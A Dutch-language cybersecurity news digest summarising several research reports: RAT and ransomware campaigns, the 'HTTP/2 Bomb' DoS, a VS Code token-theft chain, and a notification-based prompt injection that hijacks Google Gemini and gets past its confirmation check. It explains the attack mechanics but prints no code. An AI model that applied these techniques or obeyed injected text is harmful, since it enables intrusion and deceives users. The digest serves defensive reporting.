Operation FlutterBridge richt zich op een wereldwijd publiek via een uitgebreide Google Ads campagne, met een sterke nadruk op Engelstalige en West-Europese markten. Honderden door Google geverifieerde advertenties worden hiervoor gebruikt. Onderzoek wijst uit dat de aanvallers achter dit cluster van activiteiten een reeks dekmantelbedrijven inzetten om de controle van advertentienetwerken te omzeilen en deze aanvallen op grote schaal te orkestreren. Unit 42 heeft deze adverteerders gemeld bij Google, dat heeft laten weten de betreffende adverteerdersaccounts te hebben opgeschort wegens schending van hun beleid.

Unit 42 volgt Operation FlutterBridge en de JSCoreRunner campagne onder de clusteractiviteit die zij aanduiden als CL-CRI-1089. Palo Alto Networks klanten worden beschermd tegen de beschreven dreigingen via producten zoals Advanced WildFire, Advanced URL Filtering, Advanced DNS Security, Cortex Agentix Threat Intel Agent, Cortex XDR en XSIAM.

Bron: Unit 42 | Bron 2: github.com | Bron 3: mastodon.social

Cybersecurityonderzoekers hebben details bekendgemaakt van een spear phishing campagne die vermoedelijk is uitgevoerd door de aan Pakistan gelinkte groep SideCopy. De campagne richtte zich op het Afghaanse Ministerie van Financiën met een open source remote access trojan, genaamd Xeno RAT. De activiteiten zijn door Seqrite Labs gedetailleerd beschreven en hebben de codenaam Operation XENOFISCAL gekregen.

De aanval begint met een spear phishing levering, waarbij een ZIP-archief wordt gebruikt dat een kwaadaardig LNK-bestand bevat. Dit bestand is voorzien van een zorgvuldig opgestelde Pashto taal bestandsnaam, wat duidt op een diepgaande kennis van de doelomgeving. Naast het Ministerie van Financiën waren ook provinciale inkomsten- en financiële directies, Pashto sprekende overheidsfunctionarissen en provinciale overheidsmedewerkers doelwit van de campagne.

SideCopy is de naam van een dreigingsgroep die opereert onder de bredere Transparent Tribe (ook bekend als APT36) paraplu. Deze groep staat bekend om het gebruik van diverse malwarefamilies voor het stelen van gevoelige data van gecompromitteerde systemen. Eerder, in april 2025, werd de groep in verband gebracht met aanvallen op verschillende sectoren in India, waarbij Xeno RAT, Spark RAT en CurlBack RAT werden ingezet. De huidige campagne is een voortzetting van deze bredere reeks kwaadaardige cyberactiviteiten gericht op entiteiten in Zuid-Azië.

Na uitvoering misbruikt het Windows Shortcut (LNK) bestand "mshta.exe" om een HTML Application (HTA) op te halen van een gecompromitteerd Afghaans onderwijsdomein. Dit leidt tot de uitvoering van geobfusceerde JavaScript code in het geheugen. De malware creëert ook register gebaseerde persistentie door Microsoft Edge te imiteren, terwijl het Xeno RAT 1.8.7 en een afleidingsdocument dropt via een op DLL gebaseerde loader.

Xeno RAT is ontworpen om via TCP verbinding te maken met een externe server en commando's van de operator te ontvangen. De malware kan externe DLL-modules laden en uitvoeren, data naar de server verzenden, zichzelf starten via een geplande taak, antivirusinformatie ophalen, SOCKS5 proxy gebaseerde netwerk tunneling ondersteunen, bestandsoperaties uitvoeren, toetsaanslagen loggen, schermafbeeldingen maken, het klembord monitoren, webcam en microfoon volgen, persistentiemethoden verwijderen en zichzelf de-installeren.

Deze onthulling valt samen met het verschijnen van details over een gerichte phishing operatie die gebruikmaakt van geprepareerde Linux .desktop bestanden. Deze operatie richtte zich op de Indiase militaire infrastructuur met lokmiddelen gerelateerd aan contracten voor de aanschaf van Indiase gepantserde voertuigen. Deze campagne wordt eveneens toegeschreven aan Transparent Tribe. Een rapport van beveiligingsonderzoeker R.D. Tarun van vorige maand beschrijft hoe deze campagne zich richt op individuen die verbonden zijn met de Indiase militaire en defensie-infrastructuur via WhatsApp gebaseerde social engineering en een gefaseerde shell payload levering. Na uitvoering initieert de kwaadaardige .desktop launcher een zwaar geobfusceerde, op shell gebaseerde infectieketen, inclusief gefaseerde payload retrieval, inline decodering routines en de implementatie van een op Golang gebaseerde ELF-implantaat, genaamd DeskRAT.

Bron: Seqrite Labs

CISA, de FBI, de NSA, het Amerikaanse Ministerie van Energie en andere Amerikaanse overheidsinstanties waarschuwen voor cyberaanvallen gericht op via internet toegankelijke automatische tankmeetinstrumenten (ATG-systemen). Deze systemen worden gebruikt voor het monitoren van brandstof- en vloeistofopslagtanks in diverse vitale infrastructuursectoren. Het cybersecurity-agentschap stelt dat ATG-systemen veelvuldig worden toegepast in de energie-, chemische, voedsel- en landbouw- en transportsystemensector om op afstand opslagtankniveaus, temperaturen en potentiële lekken te bewaken.

Volgens de Amerikaanse overheid richten dreigingsactoren zich op blootgestelde apparaten en wijzigen zij systeeminstellingen door het uitvoeren van commando's. De waarschuwing, die de Amerikaanse overheid nog niet heeft toegeschreven aan een specifieke staat of dreigingsgroep, beschrijft hoe cyberdreigingsactoren via internet toegankelijke ATG-systemen compromitteren en deze vervolgens aanpassen door commando's uit te voeren.

Aanvallers verkrijgen toegang door misbruik te maken van kwetsbaarheden die authenticatie omzeilen, vastgelegde inloggegevens, fouten in de uitvoering van commando's van het besturingssysteem, SQL-injectie kwetsbaarheden en zwakheden in privilege-escalatie. Indien een systeem succesvol wordt gecompromitteerd, kunnen de aanvallers netwerkinstellingen, productidentificatoren, tankvolumes en pompbediening wijzigen. Ze kunnen ook waarschuwingen uitschakelen en omstandigheden creëren die voorkomen dat operators de tankvulniveaus correct monitoren, wat het risico op lekken of storingen van apparatuur potentieel verhoogt.

De instanties dringen er bij organisaties op aan om ATG-systemen af te schermen van het internet, toegang op afstand te beperken via firewalls, VPN's of toegangscontrolelijsten, standaardwachtwoorden te vervangen, sterke inloggegevens en meervoudige authenticatie te gebruiken, beveiligingsupdates toe te passen en systemen actief te monitoren op ongeautoriseerde wijzigingen.

Hoewel de waarschuwing de activiteit niet toeschrijft aan een specifieke dreigingsactor, volgt deze op een rapportage van CNN in mei, waarin werd gemeld dat Iraanse hackers verantwoordelijk waren voor een reeks inbraken waarbij ATG-systemen bij benzinestations in meerdere Amerikaanse staten betrokken waren. Volgens CNN exploiteerden de aanvallers ATG-systemen die met het internet waren verbonden en beschermd werden door zwakke of ontbrekende wachtwoorden, waardoor zij toegang kregen tot weergaven en deze konden manipuleren. De aanvallers wijzigden echter niet de werkelijke brandstofniveaus. De incidenten veroorzaakten naar verluidt geen fysieke schade, maar wekten bezorgdheid dat aanvallers potentieel kunnen interfereren met lekdetectie en andere veiligheidsgerelateerde functies. CNN meldde dat Iran de primaire verdachte was vanwege hun geschiedenis van het aanvallen van brandstofbeheersystemen en andere industriële controlesystemen. Desondanks stelden meerdere bronnen die op de hoogte waren van het onderzoek, volgens CNN, dat het mogelijk niet lukt om de activiteit toe te schrijven aan een specifieke aanvaller, omdat er beperkt forensisch bewijs is achtergelaten bij de aanvallen. CISA en haar partners adviseren organisaties die ATG-systemen beheren om hun blootstelling te evalueren en de aanbevolen mitigaties onmiddellijk te implementeren om het risico op compromittering te verminderen.

Bron: CISA | Bron 2: ic3.gov | Bron 3: cnn.com

Onderzoekers van SafeBreach hebben een aanvalstechniek ontdekt waarmee de voice assistent Google Gemini op Android-apparaten gekaapt kan worden door middel van een enkele kwaadaardige notificatie. Deze notificaties kunnen afkomstig zijn van populaire apps zoals WhatsApp, Slack, sms, Signal, Instagram of Messenger. Een kwaadaardige app op het apparaat is niet vereist; Gemini hoeft de vijandige notificatie alleen als bruikbare context te interpreteren.

De ontdekking, gepubliceerd door Or Yair van SafeBreach, bouwt voort op eerder onderzoek naar 'Invitation Is All You Need'-aanvallen, die vergelijkbare trucs uitvoerden via kwaadaardige Google Agenda-uitnodigingen. Hoewel Google Gemini na dat eerdere werk had versterkt tegen indirecte prompt injectie, vond Yair een manier om deze nieuwe verdedigingsmechanismen te omzeilen. Google heeft de kwetsbaarheid inmiddels gepatcht. SafeBreach heeft geen CVE-nummer voor dit probleem vermeld en er is geen bewijs dat de techniek ooit in de praktijk is gebruikt.

De aanval is specifiek voor Android, omdat Gemini's 'Utilities'-functie daar notificaties kan lezen en beantwoorden. De agent die deze notificaties leest, behandelt hun tekst als instructies. Elk mechanisme dat een notificatie naar een telefoon kan sturen, kan zo een payload leveren, een aanvalsoppervlak dat Yair als "effectief oneindig" omschreef.

De impact van de aanval is breed. Aanvallers kunnen de output van Gemini herschrijven, inclusief het faken van berichten van contactpersonen. Zo kan een gesproken bericht als "uw manager vroeg u om de documenten naar deze Drive map te uploaden" moeilijk te onderscheiden zijn van een legitiem verzoek. De methode kan ook worden gebruikt om fysieke acties te initiëren, zoals het openen van een venster of het starten van een app, acties die Google's eerdere mitigaties moesten voorkomen. Verdere gevolgen omvatten smart home controle via Google Home (ramen, boilers, verlichting), tracking en downloads via URL's, en het geforceerd laten deelnemen aan Zoom-vergaderingen. De techniek maakt zelfs geheugenvergiftiging mogelijk, waarbij Gemini een door de aanvaller gekozen feit permanent opslaat op account-niveau, en persistentie via geplande acties.

Om Google's nieuwe verdedigingsmechanismen te omzeilen, ontwikkelde Yair de 'Fake Context Alignment'-techniek. Deze techniek creëert twee illusies tegelijkertijd: een legitiem ogende autorisatie voor de beveiligingscheck van Google en een onschuldige uitwisseling voor de gebruiker. Dit wordt bereikt via 'versluiering' (Obfuscated) en 'demping' (Muted):

*   **Versluierd:** Gemini stelt de echte autorisatievraag in een onbegrijpelijke taal (bijvoorbeeld Chinees), gevolgd door een onschuldige Engelse vraag. De gebruiker zegt "Ja" op de Engelse vraag, en de backend koppelt die "Ja" aan de verborgen autorisatie.

*   **Gedempt:** De kwaadaardige vraag wordt verborgen in een hyperlink die de tekst-naar-spraak functie van Gemini overslaat. De assistent spreekt een generieke foutmelding uit, terwijl op het scherm de autorisatievraag wordt getoond. De gebruiker zegt "Ja", en de on-screen tekst wordt verwerkt.

De combinatie van deze methoden stelt aanvallers in staat om Google's controles te passeren terwijl voor de gebruiker een normale uitwisseling klinkt.

SafeBreach rapporteerde de bevindingen op 17 augustus 2025 aan Google, die de kwetsbaarheid als hoge prioriteit behandelde. Google bevestigde op 14 november 2025 dat verbeteringen aan de content classifier de notificatie-injecties en de 'Delayed Tool Invocation' bypass hadden gemitigeerd. Omdat de oplossing server-side is, is geen app-update nodig. Gebruikers kunnen uit voorzorg de 'Utilities' app ontkoppelen in Gemini's 'Connected Apps' instellingen, of de 'Notification read, reply & control' permissie van de Google app op Android uitschakelen.

Bron: SafeBreach | Bron 2: blog.google

Een recent ontdekte denial-of-service (DoS) aanval, genaamd 'HTTP/2 Bomb', is in staat om veelgebruikte webservers binnen enkele seconden ontoegankelijk te maken. Deze aanval kan worden uitgevoerd vanaf één enkele machine en misbruikt standaard HTTP/2-configuraties van prominente webserversoftware, waaronder NGINX, Apache HTTP Server, Microsoft IIS, Envoy en Cloudflare Pingora.

De ontdekking werd gedaan door de Codex software agent van OpenAI, onder begeleiding van onderzoekers van het offensieve beveiligingsbedrijf Calif. De 'HTTP/2 Bomb' combineert twee eerder bekende HTTP/2 DoS-methoden: de HPACK-compressie-amplificatie en de Slowloris-stijl resource-retentie via HTTP/2 flow-control stalling. De combinatie van deze technieken heeft een aanzienlijke impact.

Onderzoekers van Calif benadrukken dat een enkele cliënt met een 100 Mbps internetverbinding binnen seconden tientallen gigabytes aan RAM van een kwetsbare server kan uitputten. Dit dwingt de server om geheugen toe te wijzen en voorkomt vervolgens dat dit geheugen weer wordt vrijgegeven. In tests met Apache httpd en Envoy kon een enkele cliënt in ongeveer twintig seconden 32 GB aan servergeheugen verbruiken en vasthouden.

De aanval misbruikt het HPACK-mechanisme van het HTTP/2-protocol, dat wordt gebruikt voor header-compressie. Een aanvaller voegt een header toe aan de dynamische HPACK-tabel en refereert deze vervolgens herhaaldelijk via een compacte geïndexeerde representatie van slechts één byte groot. Het gevolg hiervan is dat een enkele byte die door de aanvaller wordt verzonden, kan resulteren in duizenden bytes aan server-side geheugenallocatie. Envoy en Apache httpd lieten de slechtste ratio's zien, met respectievelijk 5.700:1 en 4.000:1.

Het tweede deel van de aanval richt zich op het voorkomen dat het toegewezen geheugen wordt vrijgegeven nadat een verzoek is voltooid. Dit wordt bereikt door een zero-byte flow-control window te adverteren. In plaats van een volledige respons te versturen, stuurt de server periodiek kleine WINDOW_UPDATE frames om timeouts te vermijden. Hierdoor worden de verzoeken nooit volledig afgerond en blijft het toegewezen geheugen groeien zonder te worden vrijgegeven. Deze methode omzeilt bestaande beveiligingsmaatregelen, zoals limieten op de totale gedecodeerde headergrootte, omdat de headerwaarden die in de aanval worden gebruikt klein zijn en de amplificatie voortkomt uit interne boekhouding en geheugenallocaties per header.

Tests met de nieuwe DoS-aanvalstechniek tegen vier belangrijke webservers leverden de volgende resultaten op:

*   Envoy 1.37.2 putte 32 GB RAM uit in ongeveer 10 seconden.

*   Apache httpd 2.4.67 putte 32 GB RAM uit in ongeveer 18 seconden.

*   nginx 1.29.7 putte 32 GB RAM uit in ongeveer 45 seconden.

*   Microsoft IIS (Windows Server 2025) putte 64 GB RAM uit in ongeveer 45 seconden.

De volledige technische details van de 'HTTP/2 Bomb' DoS-aanval zullen later deze maand worden gepresenteerd door onderzoeker Quang Luong op de Real World AI Security-conferentie. Proof-of-concept (PoC) exploits voor deze nieuwe aanvalsmethode zijn echter reeds gepubliceerd.

Niet alle webservers zijn kwetsbaar voor de 'HTTP/2 Bomb'. Voor sommige platforms zijn al patches uitgebracht. Bovendien kunnen bepaalde aangepaste serverconfiguraties indirecte bescherming bieden. Systemen die achter Content Delivery Networks (CDN's) of reverse proxies draaien, bijvoorbeeld, stellen het kwetsbare HTTP/2-eindpunt niet direct bloot en zijn moeilijker te targeten. Ook kunnen sommige implementaties al beschikken over aangepaste header-count limieten, Web Application Firewalls (WAF's), reverse proxies, of hebben zij HTTP/2 uitgeschakeld.

Het probleem is opgelost in nginx versie 1.29.8 door de introductie van een 'max_headers' directive. Voor Apache httpd mod_http2 2.0.41 is het probleem geïdentificeerd als CVE-2026-49975 en ook hiervoor is een fix beschikbaar. Ten tijde van de publicatie is er nog geen patch beschikbaar voor IIS, Envoy of Pingora. Voor deze webservers wordt aanbevolen om HTTP/2 uit te schakelen waar dit haalbaar is, en een proxy of firewall ervoor te plaatsen die strikte header-count limieten afdwingt.

Bron: Calif | Bron 2: github.com | Bron 3: hubs.li

Cybersecurityonderzoekers hebben een nieuwe malspam campagne geïdentificeerd die misbruik maakt van het DoubleClick-domein van Google om detectie te omzeilen en uiteindelijk de DesckVB RAT, een remote access trojan, te verspreiden. Volgens een rapport van Huntress-onderzoekers Anna Pham en Adam Mooney, gedeeld met The Hacker News, wordt de lokker door DoubleClick geleid voordat het slachtoffer de door de aanvallers beheerde infrastructuur bereikt. Dit is opmerkelijk omdat DoubleClick een legitiem, door Google beheerd domein is dat door veel beveiligingstools minder snel als verdacht wordt aangemerkt.

Vanaf DoubleClick wordt het slachtoffer doorgestuurd naar een malspam kit die zichzelf dynamisch aanpast met het e-mailadres van het slachtoffer. Deze kit haalt bedrijfsbranding en locatiegegevens op, waardoor de landingspagina overtuigend lijkt zonder dat de operators voor elk doelwit handmatig een lokker hoeven te maken. Dit maakt de operaties schaalbaarder en kosteneffectiever, omdat er geen op maat gemaakte kit nodig is voor elke gerichte organisatie. Het uiteindelijke doel van de campagne is het installeren van DesckVB RAT, een trojan gebaseerd op .NET die sinds februari 2026 actief is.

De aanval begint wanneer een onoplettende gebruiker een HTML-bestand opent dat is bijgevoegd bij een phishing-e-mail. Dit bestand activeert een meta-refresh browseromleiding naar een DoubleClick Campaign Manager URL voor klikregistratie. Vanaf daar wordt de gebruiker naar een andere redirector geleid, die het Base64-gecodeerde e-mailadres decodeert en het slachtoffer naar een landingspagina stuurt met een "Download PDF"-knop. Door op deze knop te klikken, reageert de server met een ZIP-archief dat de rest van de infectieketen initieert.

Dit wordt bereikt door middel van een JavaScript-lader, wiens voornaamste taak is het ophalen en uitvoeren van een .NET RAT zonder op te vallen. Het script extraheert en voert een PowerShell-script uit, dat vervolgens een .NET-lader ophaalt van een externe server. Deze lader fungeert als een stager die controleert of het niet wordt geanalyseerd, de beveiligingscontroles van de machine neutraliseert, persistentie instelt en vervolgens de RAT-payload downloadt en uitvoert. Dit gebeurt via een techniek genaamd process hollowing, waarbij de malware wordt geïnjecteerd in processen die door Microsoft zijn ondertekend.

Eenmaal actief communiceert de trojan met een command-and-control (C2) server via raw TCP-sockets, voert systeemverkenning uit en configureert uitsluitingen voor Microsoft Defender. De trojan patcht ook Antimalware Scan Interface (AMSI) en Event Tracing for Windows (ETW) op native API-niveau, om Windows-telemetrie te verblinden voordat persistentie op de host wordt ingesteld. Dit gebeurt door Run- en RunOnce-registervermeldingen aan te maken en een lader, verantwoordelijk voor het starten van de RAT, in de opstartmap van de gebruiker te plaatsen. De malware kan data extraheren, commando's uitvoeren en aanvullende payloads implementeren, waardoor aanvallers volledige controle krijgen over de geïnfecteerde machines. Tegelijkertijd neemt de malware stappen om onder de radar te blijven door de machine te beëindigen en opnieuw op te starten als het een analysetool detecteert of vaststelt dat het in een sandbox-omgeving draait.

Huntress benadrukt het belang van verdediging in de diepte. Het configureren van een Group Policy Object (GPO) in Active Directory om scriptbestanden zoals .vbs, .hta en .js standaard in Kladblok te openen, kan een dreigingsactor in de allereerste fase stoppen, waardoor verdere payloads nooit worden gedropt. Op het gebied van e-mailbeveiliging moeten organisaties overwegen DMARC-, DKIM- en SPF-records te implementeren om de kans te verkleinen dat gespoofde of kwaadaardige e-mails eindgebruikers bereiken. Bovendien voegt een e-mailgatewayoplossing die bijlagen en links kan sandboxing voordat ze worden afgeleverd, een zinvolle extra beschermingslaag toe.

Bron: Huntress | Bron 2: learn.microsoft.com

De Russischtalige ransomwaregroep die bekendstaat als ‘The Gentlemen’ is in 2026 snel uitgegroeid tot een van de meest actieve dreigingen, alleen overtroffen door Qilin. Hun arsenaal omvat het misbruiken van kwetsbaarheden in Fortinet-producten, operaties met AI-ondersteuning en een volledig op maat gemaakt command-and-control (C2) framework dat door de meeste beveiligingstools niet wordt gedetecteerd.

De groep opereert zonder centraal kantoor of traditionele salarisstructuur. Negen operatorhandles zijn geïdentificeerd die via een zelf gehoste Rocket.Chat-instantie op een onion-site met elkaar communiceren, met plannen om te migreren naar een platform gebaseerd op Rust. Dit slanke, gedistribueerde model markeert een duidelijke verschuiving van de rigide bedrijfsstructuur die groepen zoals Contionce hanteerden.

In mei 2026 wist het Ransom-ISAC onderzoeksteam 3.366 berichten te extraheren van de Rocket.Chat server van The Gentlemen. Deze berichten onthulden interne plannen, discussies over tools en details over slachtofferdoelwitten. Analisten van Vectra AI merkten in een rapport, gedeeld met Cyber Security News (CSN), op dat hoewel de tools van de groep aanzienlijk zijn veranderd, de belangrijkste zwakke punten die ze in slachtoffernetwerken misbruiken sinds 2022 vrijwel hetzelfde zijn gebleven.

De gelekte berichten brachten ook een connectie aan het licht tussen The Gentlemen en eerdere ransomwaremerken. Een onderhandelaar, bekend onder de handle “Tinker”, verscheen zowel in Black Basta-chats als in de logboeken van The Gentlemen, waarbij dezelfde operationele rol binnen beide groepen werd vervuld. Een gedeelde Matrix-homeserver, bestflowers247.online, was aanwezig in archieven van beide groepen, wat de infrastructuurverbinding met hard bewijs verankert. Dit patroon wijst erop dat ransomware-operators niet met pensioen gaan, maar rebranden. Dezelfde personen dragen hun kennis en toegang over van de ene criminele onderneming naar de volgende, waardoor de ontmanteling van groepen veel minder effectief is dan veel verdedigers zouden hopen.

Fortinet blijft de voorkeursingang voor The Gentlemen. De Rocket.Chat-logboeken vermelden FortiGate 81 keer, waarbij CVE-2024-55591, een authenticatie-bypass kwetsbaarheid in FortiOS, expliciet wordt genoemd als hun primaire toegangspunt tot slachtoffernetwerken. Een afzonderlijke analyse van Halcyon toonde aan dat de groep ongeveer 1.000 Fortinet VPN’s brute-forcet, in sommige gevallen met hergebruikte wachtwoorden zoals 'gentlemen25' en 'gentle26' bij meerdere slachtoffers.

Eenmaal binnen implementeert de groep een op maat gemaakt C2-framework genaamd G-BOT. Dit voorheen ongedocumenteerde controlepaneel ondersteunt per-beacon SOCKS5-tunneling en uploadt builders naar tijdelijke bestandssites, ter vervanging van commerciële tools zoals Cobalt Strike. Die overstap maakt detectie moeilijker voor beveiligingsteams die afhankelijk zijn van bekende signatures.

De groep richt zich ook rechtstreeks op hypervisors. Hun Linux-locker valt Hyper-V Volume Manager aan en versleutelt op hypervisor-niveau, zodat endpoint-agents binnen virtuele machines de aanval niet kunnen zien. De locker laat de extensie .i8p14s achter en een losgeldbrief met de naam README-GENTLEMEN.txt, wat aangeeft dat geen enkele infrastructuurlaag buiten bereik is.

The Gentlemen hebben AI van een nieuwigheid omgezet in een werkend onderdeel van hun operatie. Operators verwijzen naar het gebruik van GPT- en Claude-modellen om te helpen bij onderhandelingen over losgeld, waarbij één operator ze beschrijft als automatische antwoordschrijvers voor communicatie met slachtoffers. De groep bespreekt ook het huren van GPU's op vast.ai en het draaien van ongecensureerde AI modellen van Hugging Face om grote hoeveelheden gestolen data te triageren.

Voor credential theft vertrouwt de groep op Phemedrone StealerV2.3.2, LummaC2, XenAllPasswordPro, Chrome App-Bound Encryption Decryption en DumpBrowserSecrets. Deze tools halen opgeslagen wachtwoorden rechtstreeks uit browsers zonder mislukte logins te activeren, wat betekent dat standaard authenticatielogboeken niets ongewoons laten zien. Gestolen data wordt vervolgens via rclone naar MEGA verplaatst, volgens hetzelfde exfiltratiepatroon dat ransomwaregroepen al jaren gebruiken.

Verdedigers kunnen concrete stappen ondernemen op basis van de gelekte chats. Beveiligingsteams moeten edge-apparaten, waaronder Palo Alto, Fortinet, Citrix, F5 en Cisco-apparatuur, controleren op de CVE-lijst die in de operator-chats is besproken. Het behandelen van NTDS.dit en VSS-back-up toegang als een urgentie één-waarschuwing, in plaats van een forensische ontdekking weken later, kan compromittering van het hele domein stoppen voordat deze zich volledig ontwikkelt. Het opsporen van tools zoals rclone, MEGAcmd, WinSCP en Velociraptor op hosts die deze niet horen te draaien, voegt een vroege waarschuwingslaag toe die logboeken alleen niet kunnen bieden.

Bron: Vectra AI

Cybersecurityonderzoekers hebben een one-click aanvalsmethode onthuld die via Microsoft Visual Studio Code (VS Code) het stelen van GitHub OAuth tokens mogelijk maakt. De aanval, die is gedetailleerd door beveiligingsonderzoeker Ammar Askar, kan leiden tot de diefstal van tokens met volledige lees- en schrijfrechten voor alle repositories van een gebruiker, inclusief private.

De kwetsbaarheid bevindt zich in GitHub.dev, een lichtgewicht webgebaseerde broncode-editor die als een VS Code-omgeving in de sandbox van de webbrowser draait. GitHub.dev maakt het voor gebruikers mogelijk om pull-requests te versturen en commits te maken. Deze functionaliteit wordt bereikt doordat github.com een OAuth token via een POST-verzoek naar github.dev stuurt, waarmee het namens de gebruiker kan communiceren met GitHub. Askar benadrukt dat dit token niet beperkt is tot de specifieke repository waarmee is gecommuniceerd, maar volledige toegang biedt tot alle andere repositories waartoe de gebruiker toegang heeft.

De kern van de kwetsbaarheid stelt aanvallers in staat om kwaadaardige VS Code extensies te installeren die GitHub OAuth tokens stelen wanneer deze worden doorgegeven aan GitHub.dev. Dit wordt bereikt door misbruik te maken van een message-passing mechanisme tussen het hoofdvenster van VS Code en webviews. Webviews worden gebruikt voor het renderen van Markdown-previews of het bewerken van Jupyter notebooks.

Specifiek werkt de exploit door kwaadaardig JavaScript uit te voeren binnen een niet-vertrouwde webview. Dit JavaScript simuleert keypresses, ook wel keydown-events genoemd, in het hoofdvenster van de editor. Hierdoor wordt de Command Palette geopend via de toetscombinatie "Ctrl+Shift+P". Vervolgens wordt een door de aanvaller gecontroleerde extensie geïnstalleerd. Deze extensie extraheert het GitHub OAuth token dat naar GitHub.dev is verzonden en gebruikt de GitHub API om alle private repositories op te vragen waartoe het slachtoffer toegang heeft.

De aanpak maakt ook gebruik van een VS Code-functionaliteit genaamd 'local workspace extensions'. Deze functie maakt het mogelijk om een extensie direct te installeren zonder een extra vertrouwensdialoogvenster te presenteren, zolang deze in de map ".vscode/extensions" binnen die workspace is geplaatst. Dit omzeilt effectief de publisher trust check. De onderzoeker legde uit dat extensies als onderdeel van hun package.json extra keybindings aan VS Code kunnen toevoegen. Aangezien keybindings betrouwbaar kunnen worden geactiveerd, kan een keybind worden toegevoegd voor elk gewenst VS Code-commando, zoals het installeren van een extensie terwijl de trusted publisher check wordt overgeslagen.

De kwetsbaarheid werd op 2 juni 2026 aan GitHub gemeld. Een uur later werden details van het probleem publiekelijk bekendgemaakt, mede vanwege Microsofts eerdere omgang met VS Code-gerelateerde bugs. Microsoft heeft de kwetsbaarheid erkend en heeft inmiddels een oplossing geïmplementeerd. Alexandru Dima, een partner software engineering manager bij Microsoft, heeft verduidelijkt dat dit probleem geen invloed had op VS Code Desktop. Een woordvoerder van Microsoft heeft na publicatie bevestigd dat de kwetsbaarheid voor hun diensten is verholpen en dat geen actie van klanten vereist is.

Bron: Ammar Askar | Bron 2: github.com

Een vermoedelijke cybercrimegroep met banden met China, genaamd TA4922, die eerder bekendstond om aanvallen op organisaties in Oost-Azië, richt zich nu ook op organisaties in het Verenigd Koninkrijk, Duitsland, Italië en Zuid-Afrika. Onderzoekers van Proofpoint melden dat de groep de aanvallen de afgelopen maanden heeft opgevoerd, waarbij bekende phishingtactieken worden gecombineerd met een groeiend arsenaal aan malware. De activiteiten omvatten diefstal van inloggegevens, fraudepogingen, malware voor externe toegang en het misbruik van legitieme software voor extern beheer om toegang tot slachtoffernetwerken te behouden.

Voor Britse organisaties omvatten de meest relevante activiteiten e-mails die zijn ontworpen om te lijken op routinecommunicatie van de overheid of bedrijven. Eén campagne deed zich voor als belastingdienst en verwees naar btw-aangiftes, loonbelastingdocumenten en compliance. Een andere campagne gebruikte berichten met een thema rond uitkeringen en compliance, die de taal van overheids- en universele uitkeringsdiensten kopieerden. Volgens de onderzoekers waren deze lokmiddelen niet generieke spam, maar opgesteld rond lokale bedrijfsprocessen waar werknemers al mee te maken hebben, zoals belastingpapieren, HR-mededelingen, salarisbestanden, facturen en complianceverzoeken. Deze aanpak vergroot de kans dat een ontvanger een bestand opent, op een link klikt of de conversatie naar een ander kanaal verplaatst.

Proofpoint meldt dat TA4922 historisch gezien Japan en andere delen van Azië, waaronder Taiwan, Korea, Singapore en India, heeft geviseerd. De recentere activiteit suggereert dat de groep een grotere groep slachtoffers test, waarbij Europese en Afrikaanse organisaties nu in de campagnes verschijnen.

De malware-toolkit van de groep is ook uitgebreid. Proofpoint rapporteerde het gebruik van varianten van ValleyRAT, ook bekend als Winos4.0, Atlas RAT, RomulusLoader en SilentRunLoader. Elke tool speelt een andere rol, van het verkrijgen van externe toegang tot het laden van verdere payloads of het stelen van browsergegevens. SilentRunLoader, een nieuwere Python-gebaseerde stealer en loader, is waarschijnlijk ontwikkeld met behulp van grote taalmodellen (LLM's). Het is een van de meest opvallende toevoegingen aan de toolkit van TA4922, omdat het gericht is op gegevens die zijn opgeslagen in Google Chrome. Proofpoint stelt dat de malware opgeslagen inloggegevens, cookies en browse-informatie kan verzamelen voordat de gegevens naar door aanvallers beheerde infrastructuur worden verzonden. In de Britse campagne met belastingthema werd de malware gehost via MediaFire en geleverd via links in e-mails.

TA4922 heeft ook gebruikgemaakt van DLL sideloading, een techniek waarbij een kwaadaardig bestand wordt geladen door een legitiem uitvoerbaar bestand. Voor een slachtoffer kan het bestand deel lijken uit te maken van een normaal documentpakket of een bedrijfsapplicatie. In de praktijk kan het malware starten, terwijl de activiteit moeilijker op te sporen is tijdens routinematige scans. Een ander onderdeel van de modus operandi van de groep is het gebruik van legitieme tools voor extern beheer zoals AnyDesk en SyncFuture. Deze producten hebben geldige zakelijke toepassingen, maar aanvallers kunnen ze misbruiken nadat ze toegang hebben verkregen, waardoor ze systemen kunnen beheren terwijl hun activiteit minder duidelijk kwaadaardig lijkt.

Proofpoint schatte ook met grote zekerheid in dat een deel van de nieuwere malware voor Python van TA4922 waarschijnlijk is ontwikkeld met behulp van grote taalmodellen. Onderzoekers wezen op codecommentaar, strings en ongewijzigde placeholderwaarden als tekenen dat de actor mogelijk AI tools gebruikt om sneller malware te produceren. Proofpoint's rapport stelt dat de actor financieel gemotiveerd lijkt, met activiteiten gericht op externe toegang, gegevensdiefstal, fraude, doorverkopen van toegang of persistente toegang. Hoewel sommige tools van TA4922 overeenkomsten vertonen met die gebruikt in spionagezaken, behandelt Proofpoint de groep als een aparte cybercrime-operatie. De uitbreiding van de groep naar het Verenigd Koninkrijk en andere regio's toont aan dat campagnes die ooit geconcentreerd waren in Oost-Azië, nu een directe zorg worden voor meer internationale organisaties. Organisaties moeten zich bewust zijn van cyberaanvallen met een administratief thema, waarbij belastingaangiftes, loonlijsten, uitkeringsberichten en complianceverzoeken op het eerste gezicht gewoon kunnen lijken, maar een nuttige dekmantel vormen voor aanvallers.

Bron: Proofpoint | Bron 2: hexastrike.com

Google heeft een nieuwe beveiligingsfunctie voor Android geïntroduceerd, genaamd "fake call detection", die is ontworpen om telefoongesprekken te detecteren en te markeren waarbij cybercriminelen gebruikmaken van kunstmatige intelligentie om persoonlijke contacten van gebruikers te imiteren. De functie wordt deze maand wereldwijd uitgerold naar apparaten met Android 12 en hoger, beginnend met Pixel-toestellen, en zal standaard zijn ingeschakeld.

De 'fake call detection' werkt automatisch wanneer zowel de beller als de ontvanger de telefoonapplicatie van Google gebruiken. Zodra een contact een oproep plaatst, stuurt diens apparaat in realtime een stil, versleuteld bevestigingssignaal naar het apparaat van de ontvanger. Als dit signaal ontbreekt, wat kan duiden op spoofing, zal het apparaat van de ontvanger ter verificatie contact opnemen met de daadwerkelijke telefoon van het contact. Indien het apparaat van het contact bevestigt geen oproep te plaatsen, ontvangt de ontvanger direct een waarschuwing op het scherm met het advies om op te hangen. Deze proactieve melding is bedoeld om te voorkomen dat gebruikers slachtoffer worden van deepfake-imitatie en call spoofing.

